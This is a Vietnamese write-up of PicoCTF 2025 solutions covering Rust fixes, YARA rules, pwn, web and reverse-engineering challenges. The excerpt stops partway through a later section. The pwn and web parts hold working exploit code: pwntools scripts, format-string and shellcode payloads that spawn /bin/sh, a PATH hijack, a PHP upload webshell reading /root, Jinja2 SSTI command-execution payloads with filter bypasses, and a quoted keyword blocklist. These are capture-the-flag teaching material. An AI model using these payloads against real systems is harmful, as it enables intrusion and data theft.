# PicoCTF 2025 ![image](https://hackmd.io/_uploads/BkjpXTT2yg.png) ![image](https://hackmd.io/_uploads/rytUX6ph1e.png) # GENERAL SKILLS ## Fantasy CTF Bài này để làm quen với terminal ![image](https://hackmd.io/_uploads/HkzHzsKnye.png) ## Rust fixeme 1 Check source code: ```rust= use xor_cryptor::XORCryptor; fn main() { // Key for decryption let key = String::from("CSUCKS") // How do we end statements in Rust? // Encrypted flag values let hex_values = ["41", "30", "20", "63", "4a", "45", "54", "76", "01", "1c", "7e", "59", "63", "e1", "61", "25", "7f", "5a", "60", "50", "11", "38", "1f", "3a", "60", "e9", "62", "20", "0c", "e6", "50", "d3", "35"]; // Convert the hexadecimal strings to bytes and collect them into a vector let encrypted_buffer: Vec<u8> = hex_values.iter() .map(|&hex| u8::from_str_radix(hex, 16).unwrap()) .collect(); // Create decrpytion object let res = XORCryptor::new(&key); if res.is_err() { ret; // How do we return in rust? } let xrc = res.unwrap(); // Decrypt flag and print it out let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer); println!( ":?", // How do we print out a variable in the println function? String::from_utf8_lossy(&decrypted_buffer) ); } ``` Tổng cộng có 3 chỗ cần fix: thiếu dấu ;, ret và println. Đầu tiền với ret ![image](https://hackmd.io/_uploads/BJ2HXjK3Je.png) 1/ Có vẻ như bị sai chính tả, ret; -> return; 2/ Theo format in 1 biến là {} chứ không phải :? ![image](https://hackmd.io/_uploads/B1_C7iF2yg.png) ![image](https://hackmd.io/_uploads/Byp-SiYh1x.png) ## Rust fixme 2 Check source code: ```rust= use xor_cryptor::XORCryptor; fn decrypt(encrypted_buffer:Vec<u8>, borrowed_string: &String){ // How do we pass values to a function that we want to change? // Key for decryption let key = String::from("CSUCKS"); // Editing our borrowed value borrowed_string.push_str("PARTY FOUL! Here is your flag: "); // Create decrpytion object let res = XORCryptor::new(&key); if res.is_err() { return; // How do we return in rust? } let xrc = res.unwrap(); // Decrypt flag and print it out let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer); borrowed_string.push_str(&String::from_utf8_lossy(&decrypted_buffer)); println!("{}", borrowed_string); } fn main() { // Encrypted flag values let hex_values = ["41", "30", "20", "63", "4a", "45", "54", "76", "01", "1c", "7e", "59", "63", "e1", "61", "25", "0d", "c4", "60", "f2", "12", "a0", "18", "03", "51", "03", > // Convert the hexadecimal strings to bytes and collect them into a vector let encrypted_buffer: Vec<u8> = hex_values.iter() .map(|&hex| u8::from_str_radix(hex, 16).unwrap()) .collect(); let party_foul = String::from("Using memory unsafe languages is a: "); // Is this variable changeable? decrypt(encrypted_buffer, &party_foul); // Is this the correct way to pass a value to a function so that it can be changed? } ``` Bài này chỉ cần thêm từ khoá "mut" ở các biến cần thay đổi giá trị của nó sau này: ```rust use xor_cryptor::XORCryptor; fn decrypt(encrypted_buffer:Vec<u8>, borrowed_string: &mut String){ // How do we pass values to a function that we want to change? // Key for decryption let key = String::from("CSUCKS"); // Editing our borrowed value borrowed_string.push_str("PARTY FOUL! Here is your flag: "); // Create decrpytion object let res = XORCryptor::new(&key); if res.is_err() { return; // How do we return in rust? } let xrc = res.unwrap(); // Decrypt flag and print it out let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer); borrowed_string.push_str(&String::from_utf8_lossy(&decrypted_buffer)); println!("{}", borrowed_string); } fn main() { // Encrypted flag values let hex_values = ["41", "30", "20", "63", "4a", "45", "54", "76", "01", "1c", "7e", "59", "63", "e1", "61", "25", "0d", "c4", "60", "f2", "12", "a0", "18", "03", "51", "03", "36", "05", "0e", "f9", "42", "5b"]; // Convert the hexadecimal strings to bytes and collect them into a vector let encrypted_buffer: Vec<u8> = hex_values.iter() .map(|&hex| u8::from_str_radix(hex, 16).unwrap()) .collect(); let mut party_foul = String::from("Using memory unsafe languages is a: "); // Is this variable changeable? decrypt(encrypted_buffer, &mut party_foul); // Is this the correct way to pass a value to a function so that it can be changed? } ``` ![image](https://hackmd.io/_uploads/rkfh972nyx.png) ## Rust fixme 3 Bài này chỉ cần xoá comment ở khối code unsafe là xong ![image](https://hackmd.io/_uploads/HyufjX2hkg.png) ## YaraRules0x100 > Since this is a Windows executable file, some strings within this binary can be "wide" strings. Try declaring your string variables something like $str = "Some Text" wide ascii wherever necessary. Dựa trên đoạn gợi ý của bài, mình có thể sử dụng các loại biến string để xác định các đoạn ascii trong file exe. Ngoài ra, mình đã sử dụng một số gợi ý từ bài viết giới thiệu về [yara rule trên facebook](https://web.facebook.com/share/p/18Y8U5u3cD/) để có thể hoàn thành bài này. ```yara= rule Suspicious { meta: description = "picoCTF2025" author = "Long" date = "2025-03-12" strings: $upx0 = "UPX0" ascii $upx1 = "UPX1" ascii $upx2 = "UPX!" ascii $xrich = "xRich" ascii $addl1 = "kernel32.dll" nocase wide ascii $addl2 = "user32.dll" nocase wide ascii $addl3 = "shell32.dll" nocase wide ascii $addl4 = "advapi.dll" nocase wide ascii $addl5 = "vcruntime140.dll" nocase wide ascii $addl6 = "gdi32.dll" nocase wide ascii $addl7 = { B8 ?? ?? 00 00 8B ?? 24 ?? 83 ?? ?? 89 ?? 24 } $addl9 = { 6A 00 68 ?? ?? ?? ?? 6A 00 6A 00 } condition: uint16(0) == 0x5A4D and filesize < 1MB and ( (any of ($upx*, $xrich)) or (all of ($addl*)) ) } ``` ![image](https://hackmd.io/_uploads/HyctK3FnJx.png) > Flag: picoCTF{yara_rul35_r0ckzzz_4b652721} # PWN ## PIE TIME Kiểm tra source code: ```c= #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> void segfault_handler() { printf("Segfault Occurred, incorrect address.\n"); exit(0); } int win() { FILE *fptr; char c; printf("You won!\n"); // Open file fptr = fopen("flag.txt", "r"); if (fptr == NULL) { printf("Cannot open file.\n"); exit(0); } // Read contents from file c = fgetc(fptr); while (c != EOF) { printf ("%c", c); c = fgetc(fptr); } printf("\n"); fclose(fptr); } int main() { signal(SIGSEGV, segfault_handler); setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered printf("Address of main: %p\n", &main); unsigned long val; printf("Enter the address to jump to, ex => 0x12345: "); scanf("%lx", &val); printf("Your input: %lx\n", val); void (*foo)(void) = (void (*)())val; foo(); } ``` Bài này khi ta nhập input là 1 địa chỉ có tồn tại thì chương trinh sẽ nhảy đến địa chỉ đó, code leak sẵn cho ta hàm main, thế thì ta chỉ cần tính PIE base và cộng PIE base với offset của win là xong. Xài kĩ thuật debug động sẽ tìm được offset hàm main là 0x133d ![image](https://hackmd.io/_uploads/BJecnrKh1l.png) Tìm được PIE base thì ta chỉ cần tính địa chỉ win là xong: ```python= #!/usr/bin/env python3.11 from pwn import * elf=ELF("./vuln", checksec=False) #r=process(elf.path) r=remote("rescued-float.picoctf.net", 52820) r.recvuntil(b'Address of main: ') main=int(r.recvline(), 16) print("Main leaked: ", hex(main)) pb=main-0x133d win=pb+elf.sym['win'] print("Win: ", hex(win)) r.interactive() ``` ![image](https://hackmd.io/_uploads/SJp33BF21g.png) ## hash-only-1 Để ý ở dòng trong mã giả do IDA decompile: ```bash= /bin/bash -c 'md5sum /root/flag.txt' ``` Md5sum dùng để tính toán theo thuật toán md5 và sau đó lệnh sẽ in ra flag dưới dạng thuật toán đấy, ta có thể hijack nội dung của md5sum ép chương trình in ra flag thật thay vì đoạn hash ![image](https://hackmd.io/_uploads/HJL_arY3Jg.png) ## hash-only-2 Bài này mặc định ta đang ở trong 1 môi trường có nhiều hạn chế về thực thi command, ví dụ thử với lệnh cd: ![image](https://hackmd.io/_uploads/H1wu0Bt2Jl.png) Để thoát khỏi rbash thì nhập lệnh bash Tìm đường dẫn tới file flaghasher rồi hijack md5sum ```bash= ctf-player@challenge:~$ mkdir /tmp/fakebin mkdir: cannot create directory ‘/tmp/fakebin’: File exists ctf-player@challenge:~$ echo -e '#!/bin/bash\ncat /root/flag.txt' > /tmp/fakebin/md5sum ctf-player@challenge:~$ chmod +x /tmp/fakebin/md5sum ctf-player@challenge:~$ export PATH=/tmp/fakebin:$PATH ctf-player@challenge:~$ /usr/local/bin/flaghasher Computing the MD5 hash of /root/flag.txt.... picoCTF{Co-@utH0r_Of_Sy5tem_b!n@riEs_9c5db6a7} ``` ## PIE TIME 2 Xem source code: ```C= #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> void segfault_handler() { printf("Segfault Occurred, incorrect address.\n"); exit(0); } void call_functions() { char buffer[64]; printf("Enter your name:"); fgets(buffer, 64, stdin); printf(buffer); unsigned long val; printf(" enter the address to jump to, ex => 0x12345: "); scanf("%lx", &val); void (*foo)(void) = (void (*)())val; foo(); } int win() { FILE *fptr; char c; printf("You won!\n"); // Open file fptr = fopen("flag.txt", "r"); if (fptr == NULL) { printf("Cannot open file.\n"); exit(0); } // Read contents from file c = fgetc(fptr); while (c != EOF) { printf ("%c", c); c = fgetc(fptr); } printf("\n"); fclose(fptr); } int main() { signal(SIGSEGV, segfault_handler); setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered call_functions(); return 0; } ``` Bài này có lỗi format string khi print biến buffer. Kiểm tra các lớp bảo vệ của chương trình thì có PIE, tức là phải tính toán địa chỉ win, nhưng phải kiểm tra stack có gì để leak ngay lúc print buffer không để tính được PIE base ![image](https://hackmd.io/_uploads/SJO3dUYhkg.png) Để ý ở dòng dưới cùng nó 1 địa chỉ binary có vẻ xài được ![image](https://hackmd.io/_uploads/rJAbFLKnJg.png) Đây là offset giữa địa chỉ đấy với PIE base, từ đó ta có thể tính địa chỉ win bằng cách leak binary, trừ nó với 0x1400, cộng kết quả mới trừ với offset của win với PIE base là ra hàm win, ta có thể viết script in ra offset hàm win: ```python= from pwn import * elf=ELF("./vuln", checksec=False) r=process(elf.path) print("Win offset:", hex(elf.sym['win'])) r.interactive() ``` ![image](https://hackmd.io/_uploads/BkyVJFt2kg.png) Để leak địa chỉ binary thì ta đếm và cần format %25$p: ![image](https://hackmd.io/_uploads/B1mvbYY31e.png) Khi leak được thì tính toán địa chỉ bằng gdb và nhập nó vào challenge là xong. ## Echo Valley Kiểm tra source code ```c #include <stdio.h> #include <stdlib.h> #include <string.h> void print_flag() { char buf[32]; FILE *file = fopen("/home/valley/flag.txt", "r"); if (file == NULL) { perror("Failed to open flag file"); exit(EXIT_FAILURE); } fgets(buf, sizeof(buf), file); printf("Congrats! Here is your flag: %s", buf); fclose(file); exit(EXIT_SUCCESS); } void echo_valley() { printf("Welcome to the Echo Valley, Try Shouting: \n"); char buf[100]; while(1) { fflush(stdout); if (fgets(buf, sizeof(buf), stdin) == NULL) { printf("\nEOF detected. Exiting...\n"); exit(0); } if (strcmp(buf, "exit\n") == 0) { printf("The Valley Disappears\n"); break; } printf("You heard in the distance: "); printf(buf); fflush(stdout); } fflush(stdout); } int main() { echo_valley(); return 0; } ``` Bài này có lỗi format string được lồng vào trong hàm while(1), khả năng rất cao có thể thực hiện ghi đè GOT nhưng bài này là full relro, ta chỉ có quyền read chứ không thể thay đổi địa chỉ của GOT. Chall này chứa hàm print_flag, tức là ta có thể cần làm gì đó với saved rip để return vào hàm print_flag ![image](https://hackmd.io/_uploads/BkHMrtYh1g.png) ![image](https://hackmd.io/_uploads/ByWmUFF21l.png) Ta sẽ lấy con trỏ chứa địa chỉ saved rip để ghi 2 byte cuối của print_flag vào giá trị của con trỏ đó ![image](https://hackmd.io/_uploads/r1MFOKK2yl.png) Thế thì có 2 địa chỉ cần leak, 1 là 1 địa chỉ binary để tính PIE base và print địa chỉ print_flag, 2 là 1 địa chỉ con trỏ để tính offset từ đó tới con trỏ rip, từ đó có thể ghi được vào con trỏ đó ![Screenshot 2025-03-20 192504](https://hackmd.io/_uploads/rJtm9YYn1g.png) Tính offset ![image](https://hackmd.io/_uploads/By0dqYFh1x.png) ```python= #!/usr/bin/env python3.11 from pwn import * elf=ELF("./valley", checksec=False) r=remote("shape-facility.picoctf.net", 49437) r.recvline() r.sendline(b'%21$p') r.recvuntil(b'You heard in the distance: ') leak_bin=int(r.recvline(), 16) print("Leak binary: ", hex(leak_bin)) offset=0x1413 pb=leak_bin-0x1413 #PIE BASE win=pb+elf.sym['print_flag'] print("Print flag function address: ", hex(win)) r.sendline(b'%9$p') r.recvuntil(b'You heard in the distance: ') leak_add=int(r.recvline(), 16)+0x30 part=win & 0xffff ##Lấy 2 byte cuối của print_flag print("2 bytes: ", hex(part)) payload=f'%{part}c%14$hn'.encode()+b'\x00'*3 payload+=b'a'*48 payload+=p64(leak_add) r.sendline(payload) r.interactive() ``` ![image](https://hackmd.io/_uploads/ryaZ2Kt2yg.png) ![image](https://hackmd.io/_uploads/HJ_XhtF31x.png) ## Handoff Kiểm tra source code ```c= #include <stdio.h> #include <stdlib.h> #include <stdbool.h> #define MAX_ENTRIES 10 #define NAME_LEN 32 #define MSG_LEN 64 typedef struct entry { char name[8]; char msg[64]; } entry_t; void print_menu() { puts("What option would you like to do?"); puts("1. Add a new recipient"); puts("2. Send a message to a recipient"); puts("3. Exit the app"); } int vuln() { char feedback[8]; entry_t entries[10]; int total_entries = 0; int choice = -1; // Have a menu that allows the user to write whatever they want to a set buffer elsewhere in memory while (true) { print_menu(); if (scanf("%d", &choice) != 1) exit(0); getchar(); // Remove trailing \n // Add entry if (choice == 1) { choice = -1; // Check for max entries if (total_entries >= MAX_ENTRIES) { puts("Max recipients reached!"); continue; } // Add a new entry puts("What's the new recipient's name: "); fflush(stdin); fgets(entries[total_entries].name, NAME_LEN, stdin); total_entries++; } // Add message else if (choice == 2) { choice = -1; puts("Which recipient would you like to send a message to?"); if (scanf("%d", &choice) != 1) exit(0); getchar(); if (choice >= total_entries) { puts("Invalid entry number"); continue; } puts("What message would you like to send them?"); fgets(entries[choice].msg, MSG_LEN, stdin); } else if (choice == 3) { choice = -1; puts("Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: "); fgets(feedback, NAME_LEN, stdin); feedback[7] = '\0'; break; } else { choice = -1; puts("Invalid option"); } } } int main() { setvbuf(stdout, NULL, _IONBF, 0); // No buffering (immediate output) vuln(); return 0; } ``` Bài này có 3 bug: 2 bug buffer overflow khi nhập mảng name và feedback, 1 bug ở đoạn nhập choice, ta có thể nhập giá trị âm, nhưng ở đây ta sẽ không tận dụng bug này. Sau khi kiểm tra một hồi thì mình thấy các dữ liệu cho sẵn không có gì để leak, giả dụ có thì cũng không có cách nào để leak được, challenge cũng không có gadget system, nhưng bài này bit NX có bật, ta sẽ hướng nó theo shellcode. Nhân lúc mảng feedback có overflow, ta sẽ thử xem trước khi break while sẽ có gì ![image](https://hackmd.io/_uploads/rk8IE9tnJl.png) Ở đây những gì ta có là offset từ lúc nhập đến rsp bị overflow là 20 bytes, rax và rcx lưu con trỏ trỏ tới giá trị từ lúc nhập nhưng lại set giá trị null ở byte thứ 8 trong mảng feedback (nếu đọc code thì sẽ biết đó là do dòng code: feedback[7] = 0; ) RSP bị overflow ở byte thứ 20, fgets(feedback, 32, stdin), tức là ta chỉ có thể ghi 32-20=12 bytes, loại bỏ ý tưởng nop sled tới shellcode vì 12 bytes không thể chứa shellcode, ta chỉ có thể đặt 1 địa chỉ 8 bytes và mình chọn gadget jmp rax vi rax có trỏ tới giá trị mình nhập ![image](https://hackmd.io/_uploads/ByXtIcKhJx.png) Thế nhưng rax chỉ chứa có 7 bytes, giả sử ta nhập 1 con trỏ nào đó thì byte thứ 8 cũng bị null. Nhưng mảng msg lại có dung lượng khá lớn ta sẽ viết 1 shellcode gồm 7 byte nhảy tới msg và chương trình store shellcode vào rax, khi jmp rax đồng nghĩa jmp vào shellcode đó (ở msg thì ta sẽ chèn shellcode system("/bin/sh")). Thế thì shellcode jump vào system("/bin/sh") sẽ đại loại như: sub rax, offset; jmp rax; vì khi sub rax và rax lúc đó sẽ trỏ vào shellcode trong msg, ta thực hiện jmp rax nữa để thực thi shellcode chiếm shell: ``` shellcode=asm( ''' nop nop sub rax, 0x8c nop nop nop nop jmp rax ''', arch='amd64') ``` ![Screenshot 2025-03-20 204658](https://hackmd.io/_uploads/HyQWp5KhJg.png) Giờ ta chỉ cần tiếp tục tới jmp rax là có thể thực thi system("/bin/sh") Script: ```python= #!/usr/bin/env python3.11 from pwn import * elf=ELF("./handoff", checksec=False) r=process(elf.path) for i in range(1,9): r.recvuntil(b'3. Exit the app') r.sendline(b'1') r.recvuntil(b'name: ') r.sendline(b'abc') r.recvuntil(b'3. Exit the app') r.sendline(b'2') r.recvuntil(b'send a message to?') r.sendline(f'{i-1}'.encode()) r.recvuntil(b'you like to send them?') r.sendline(b'abc') r.recvuntil(b'3. Exit the app') r.sendline(b'1') r.recvuntil(b'name: ') r.sendline(b'abcdef') r.recvuntil(b'3. Exit the app') r.sendline(b'2') r.recvuntil(b'send a message to?') r.sendline(b'8') r.recvuntil(b'you like to send them?') shellcode=asm( ''' mov rdi, 29400045130965551 push rdi mov rdi, rsp xor rsi, rsi xor rdx, rdx mov rax, 0x3b syscall ''', arch='amd64') r.sendline(shellcode) r.recvuntil(b'3. Exit the app') r.sendline(b'3') r.recvuntil(b'appreciate it: ') jmp_rax=0x000000000040116c shellcode=asm( ''' nop nop sub rax, 0x8c nop nop nop nop jmp rax ''', arch='amd64') payload=shellcode.ljust(20, b'\x90') payload+=p64(jmp_rax) r.sendline(payload) r.interactive() ``` Ở đoạn đầu mình có sử dụng for để nhập hết 10 phần tử struct để offset giảm từ đó sub rax, offset có thể nhẹ hơn tiện cho việc thêm NOP để align. ![Screenshot 2025-03-20 205313](https://hackmd.io/_uploads/S1StR9tnJl.png) # WEB ## Cookie Monster Secret Recipe > Cookie Monster has hidden his top-secret cookie recipe somewhere on his website. As an aspiring cookie detective, your mission is to uncover this delectable secret. Can you outsmart Cookie Monster and find the hidden recipe? Ở bài này, ta chỉ cần đăng nhập linh tinh. Sau đó F12 và vào trong application để lấy cookie. Decode base64 và nhận flag > Flag: picoCTF{c00k1e_m0nster_l0ves_c00kies_6E81FC1E} ## head-dump > Welcome to the challenge! In this challenge, you will explore a web application and find an endpoint that exposes a file containing a hidden flag. The application is a simple blog website where you can read articles about various topics, including an article about API Documentation. Your goal is to explore the application and find the endpoint that generates files holding the server’s memory, where a secret flag is hidden. Trên trang web này, không có thứ gì chúng ta có thể tương tác được. Vì vậy, mình sẽ sử dụng dirsearch để fuzz các endpoint của nó. ![image](https://hackmd.io/_uploads/HkgP1TKnJx.png) Truy cập vào endpoint **/api-docs**, ta thấy được trang Swagger UI (một extension được tích hợp để test các API trên project). ![image](https://hackmd.io/_uploads/S1Dzg6tn1g.png) Sử dụng api **/heapdump**, ta có thể nhận được một file txt. ![image](https://hackmd.io/_uploads/r14ogaK3kg.png) > Flag: picoCTF{Pat!3nt_15_Th3_K3y_bed6b6b8} ## n0s4n1ty 1 > A developer has added profile picture upload functionality to a website. However, the implementation is flawed, and it presents an opportunity for you. Your mission, should you choose to accept it, is to navigate to the provided web page and locate the file upload area. Your ultimate goal is to find the hidden flag located in the /root directory. Đây là một dạng bài Upload File cơ bản. Ở bài này, ta chỉ cần upload một file php chứa hàm **exec()** để sử dụng được các lệnh linux. Đầu tiên chúng ta sẽ hook cái raw request trên Burp Suite. Sau đó, chỉ cần chỉnh sửa tên file thành đuôi .php, và nhập code php sau: ```<?php echo exec('sudo cat /root/flag.txt'); ?>``` ![image](https://hackmd.io/_uploads/SkeWQTt3Jl.png) ![image](https://hackmd.io/_uploads/S1IgVpK2yx.png) > Flag: picoCTF{wh47_c4n_u_d0_wPHP_d698d800} ## SSTI1 > I made a cool website where you can announce whatever you want! Try it out! I heard templating is a cool and modular way to build web apps! Check out my website here! Bài này hướng chúng ta khai thác lỗ hổng SSTI, ta có thể inject các code python vào trang web sử dụng Jinja2 và tìm file flag.txt. ```jinja2= {{ request|attr("application")|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("__import__")("os")|attr("popen")("cat $(find / -type f -name *lag*)")|attr("read")() }} ``` ![image](https://hackmd.io/_uploads/Bkv_UpF3ye.png) > Flag: picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_424a1494} ## WebSockFish >Can you win in a convincing manner against this chess bot? He won't go easy on you! Ở bài này, ta dùng Burpsuite để bắt các request khi tương tác trang web. Đi 1 nước, sau đó kiểm tra WebSockets history, ta thấy được có 1 socket gửi tới server. Gửi eval -99999, ta sẽ nhận được flag. ![image](https://hackmd.io/_uploads/HyB9D8n21g.png) >Flag: picoCTF{c1i3nt_s1d3_w3b_s0ck3t5_c0789e29} ## 3v@l >ABC Bank's website has a loan calculator to help its clients calculate the amount they pay if they take a loan from the bank. Unfortunately, they are using an eval function to calculate the loan. Bypassing this will give you Remote Code Execution (RCE). Can you exploit the bank's calculator and read the flag? F12 vào trang web, ta tìm được đoạn comment như sau ```html= <!-- TODO ------------ Secure python_flask eval execution by 1.blocking malcious keyword like os,eval,exec,bind,connect,python,socket,ls,cat,shell,bind 2.Implementing regex: r'0x[0-9A-Fa-f]+|\\u[0-9A-Fa-f]{4}|%[0-9A-Fa-f]{2}|\.[A-Za-z0-9]{1,3}\b|[\\\/]|\.\.' --> ``` Ở đoạn comment đầu tiên, có các từ khóa đã bị ban, ngoại trừ hàm ***open()***. Vì vậy mình sẽ chọn hàm open để cố gắng mở file flag.txt. Ở đoạn comment thứ hai, dán regex này lên regex101.com, ta sẽ thấy đoạn được regex này đã cấm /flag.txt. Vì vậy mình sẽ đổi / và . thành số nguyên. ![image](https://hackmd.io/_uploads/ry4qFLnnJe.png) Payload: ```python= open(chr(47)+"flag" + chr(46)+ "txt").read() ``` ![image](https://hackmd.io/_uploads/SyyzcUnn1l.png) >Flag: picoCTF{D0nt_Use_Unsecure_f@nctions3ce5e79c} ## SSTI2 >I made a cool website where you can announce whatever you want! I read about input sanitization, so now I remove any kind of characters that could be a problem :) Ở bài này, mình sử dụng payload từ bài SSTI1 thì nhận ra rằng có một vài keyword đã bị ban. Vì vậy mình thay thế bằng việc sử dụng hàm **attribute()**. ![image](https://hackmd.io/_uploads/ByGc9L3h1e.png) ```jinja2= {{request|attr("%c%c%c%c%c%c%c%c%c%c%c"|format(97,112,112,108,105,99,97,116,105,111,110))|attr("%c%c%c%c%c%c%c%c%c%c%c"|format(95,95,103,108,111,98,97,108,115,95,95))|attr("%c%c%c%c%c%c%c%c%c%c%c"|format(95,95,103,101,116,105,116,101,109,95,95))("%c%c%c%c%c%c%c%c%c%c%c%c"|format(95,95,98,117,105,108,116,105,110,115,95,95))|attr("%c%c%c%c%c%c%c%c%c%c%c"|format(95,95,103,101,116,105,116,101,109,95,95))("%c%c%c%c%c%c%c%c%c%c"|format(95,95,105,109,112,111,114,116,95,95))('o''s')|attr('p''open')('c"a"t $(find / -type f -name *lag*)')|attr("re""ad")()}} ``` ![image](https://hackmd.io/_uploads/rJ4LiUn3kg.png) >Flag: picoCTF{sst1_f1lt3r_byp4ss_8b534b82} ## Apriti sesamo >I found a web app that claims to be impossible to hack! >Hint: Backup files Có vẻ như bài này hint chúng ta về việc truy cập vào backup files của php, đó là thêm dấu ~ vào cuối file. Ta nhận được đoạn code php sau. ```html= <!--?php if(isset($_POST[base64_decode("\144\130\x4e\154\x63\155\x35\x68\142\127\125\x3d")])&& isset($_POST[base64_decode("\143\x48\x64\x6b")])){$yuf85e0677=$_POST[base64_decode("\144\x58\x4e\154\x63\x6d\65\150\x62\127\x55\75")];$rs35c246d5=$_POST[base64_decode("\143\x48\144\153")];if($yuf85e0677==$rs35c246d5){echo base64_decode("\x50\x47\112\x79\x4c\172\x35\x47\x59\127\154\163\132\127\x51\x68\111\x45\x35\166\x49\x47\132\163\131\127\x63\x67\x5a\155\71\171\111\x48\x6c\166\x64\x51\x3d\x3d");}else{if(sha1($yuf85e0677)===sha1($rs35c246d5)){echo file_get_contents(base64_decode("\x4c\151\64\166\x5a\x6d\x78\x68\x5a\x79\65\60\145\110\x51\75"));}else{echo base64_decode("\x50\107\112\171\x4c\x7a\65\107\x59\x57\154\x73\x5a\127\x51\x68\x49\105\x35\x76\111\x47\132\x73\131\127\x63\x67\x5a\155\71\x79\x49\110\154\x76\x64\x51\x3d\75");}}}?--> ``` ![image](https://hackmd.io/_uploads/H1o0oLhhJe.png) Chuyển các kí tự hex về string và format code, ta được đoạn code php này: ```php= <?php if(isset($_POST["username"]) && isset($_POST["pwd"])) { $yuf85e0677 = $_POST["username"]; $rs35c246d5 = $_POST["pwd"]; if ($yuf85e0677 == $rs35c246d5) { echo "<br/>Failed! Not equal"; } else { if (sha1($yuf85e0677) === sha1($rs35c246d5)) { echo file_get_contents("../flag.txt"); } else { echo "<br/>Failed! Not equal"; } } } ?> ``` Ở đây xuất hiện một lỗi [php type juggling](https://www.php.net/manual/en/language.types.type-juggling.php), khi ta sử dụng một đoạn xâu có '0e...' ở đầu so sánh với số 0, nó sẽ chuyển đoạn xâu thành 0 và return true. ![image](https://hackmd.io/_uploads/Skjwkv3hyl.png) >Flag: picoCTF{w3Ll_d3sErV3d_Ch4mp_9c79e5f6} ## Pachinko >History has failed us, but no matter. Mình bruteforce memory để ra flag. ```python= import requests import json port = 12345 url = f"http://activist-birds.picoctf.net:{port}/check" for i in range(0, 0xFFFF): payload = {"circuit": [{"input1": i, "input2": i, "output": i}]} response = requests.post(url, json=payload) if "picoCTF" in response.text: print(response.text) print(json.dumps(payload)) ``` > Flag: picoCTF{p4ch1nk0_f146_0n3_e947b9d7} # REVERSE ## Flag Hunters >Lyrics jump from verses to the refrain kind of like a subroutine call. There's a hidden refrain this program doesn't print by default. Can you get it to print it? There might be something in it for you. <details> <summary>lyric-reader</summary> ```python= import re import time flag = open('flag.txt', 'r').read() secret_intro = \ '''Pico warriors rising, puzzles laid bare, Solving each challenge with precision and flair. With unity and skill, flags we deliver, The ether’s ours to conquer, '''\ + flag + '\n' song_flag_hunters = secret_intro +\ ''' [REFRAIN] We’re flag hunters in the ether, lighting up the grid, No puzzle too dark, no challenge too hid. With every exploit we trigger, every byte we decrypt, We’re chasing that victory, and we’ll never quit. CROWD (Singalong here!); RETURN [VERSE1] Command line wizards, we’re starting it right, Spawning shells in the terminal, hacking all night. Scripts and searches, grep through the void, Every keystroke, we're a cypher's envoy. Brute force the lock or craft that regex, Flag on the horizon, what challenge is next? REFRAIN; Echoes in memory, packets in trace, Digging through the remnants to uncover with haste. Hex and headers, carving out clues, Resurrect the hidden, it's forensics we choose. Disk dumps and packet dumps, follow the trail, Buried deep in the noise, but we will prevail. REFRAIN; Binary sorcerers, let’s tear it apart, Disassemble the code to reveal the dark heart. From opcode to logic, tracing each line, Emulate and break it, this key will be mine. Debugging the maze, and I see through the deceit, Patch it up right, and watch the lock release. REFRAIN; Ciphertext tumbling, breaking the spin, Feistel or AES, we’re destined to win. Frequency, padding, primes on the run, Vigenère, RSA, cracking them for fun. Shift the letters, matrices fall, Decrypt that flag and hear the ether call. REFRAIN; SQL injection, XSS flow, Map the backend out, let the database show. Inspecting each cookie, fiddler in the fight, Capturing requests, push the payload just right. HTML's secrets, backdoors unlocked, In the world wide labyrinth, we’re never lost. REFRAIN; Stack's overflowing, breaking the chain, ROP gadget wizardry, ride it to fame. Heap spray in silence, memory's plight, Race the condition, crash it just right. Shellcode ready, smashing the frame, Control the instruction, flags call my name. REFRAIN; END; ''' MAX_LINES = 100 def reader(song, startLabel): lip = 0 start = 0 refrain = 0 refrain_return = 0 finished = False # Get list of lyric lines song_lines = song.splitlines() # Find startLabel, refrain and refrain return for i in range(0, len(song_lines)): if song_lines[i] == startLabel: start = i + 1 elif song_lines[i] == '[REFRAIN]': refrain = i + 1 elif song_lines[i] == 'RETURN': refrain_return = i # Print lyrics line_count = 0 lip = start while not finished and line_count < MAX_LINES: line_count += 1 for line in song_lines[lip].split(';'): #this will split song_lines[lip] to ['Crowd','RETURN 0'] if line == '' and song_lines[lip] != '': continue if line == 'REFRAIN': song_lines[refrain_return] = 'RETURN ' + str(lip + 1) lip = refrain elif re.match(r"CROWD.*", line): crowd = input('Crowd: ') song_lines[lip] = 'Crowd: ' + crowd #song_lines[lip] will save Crowd: ;RETURN 0 (Command Injection) lip += 1 elif re.match(r"RETURN [0-9]+", line): #this will matche RETURN 0 lip = int(line.split()[1]) #lip will get the position 0, make the program read from line 0 elif line == 'END': finished = True else: print(line, flush=True) time.sleep(0.5) lip += 1 reader(song_flag_hunters, '[VERSE1]') ``` </details> Ở đây, ta thấy một lỗi logic ```for line in song_lines[lip].split(';'):```, khi chúng ta nhập ```;RETURN 0``` nó sẽ tách Crowd và RETURN 0 vào mảng song_lines. Khi này, chương trình sẽ rơi vào đoạn if ```elif re.match(r"RETURN [0-9]+", line):``` và chạy dòng đầu tiên của bài nhạc. >Flag: picoCTF{70637h3r_f0r3v3r_62666df2} ## Binary Instrumentation 1 ![Screenshot 2025-03-23 221827](https://hackmd.io/_uploads/SkUOUopnkl.png) Khả năng cao là sẽ phải hook các api có thể làm delay chương trình, như challenge có bảo "I'll take a quick nap" thì khả năng cao là api Sleep. Vào phần __handler__ và hook Sleep: ```javascript defineHandler({ onEnter(log, args, state) { log("[*] Intercepted Sleep! Forcing Sleep(0)."); // Set the sleep duration argument to 0 args[0] = ptr(0); } }); ``` ![image](https://hackmd.io/_uploads/rJRMvophkx.png) Flag đã có, decocde nữa là xong ![image](https://hackmd.io/_uploads/HynJusThke.png) ## Tap into Hash >Can you make sense of this source code file and write a function that will decode the given encrypted file content? ```python= import hashlib def xor_bytes(a, b): return bytes(x ^ y for x, y in zip(a, b)) def unpad(data): padding_length = data[-1] return data[:-padding_length] def decrypt(c, k): k_hash = hashlib.sha256(k).digest() plaintext = b'' block_size = 16 for i in range(0, len(c), block_size): block = c[i:i + block_size] plain_block = xor_bytes(block, k_hash) plaintext += 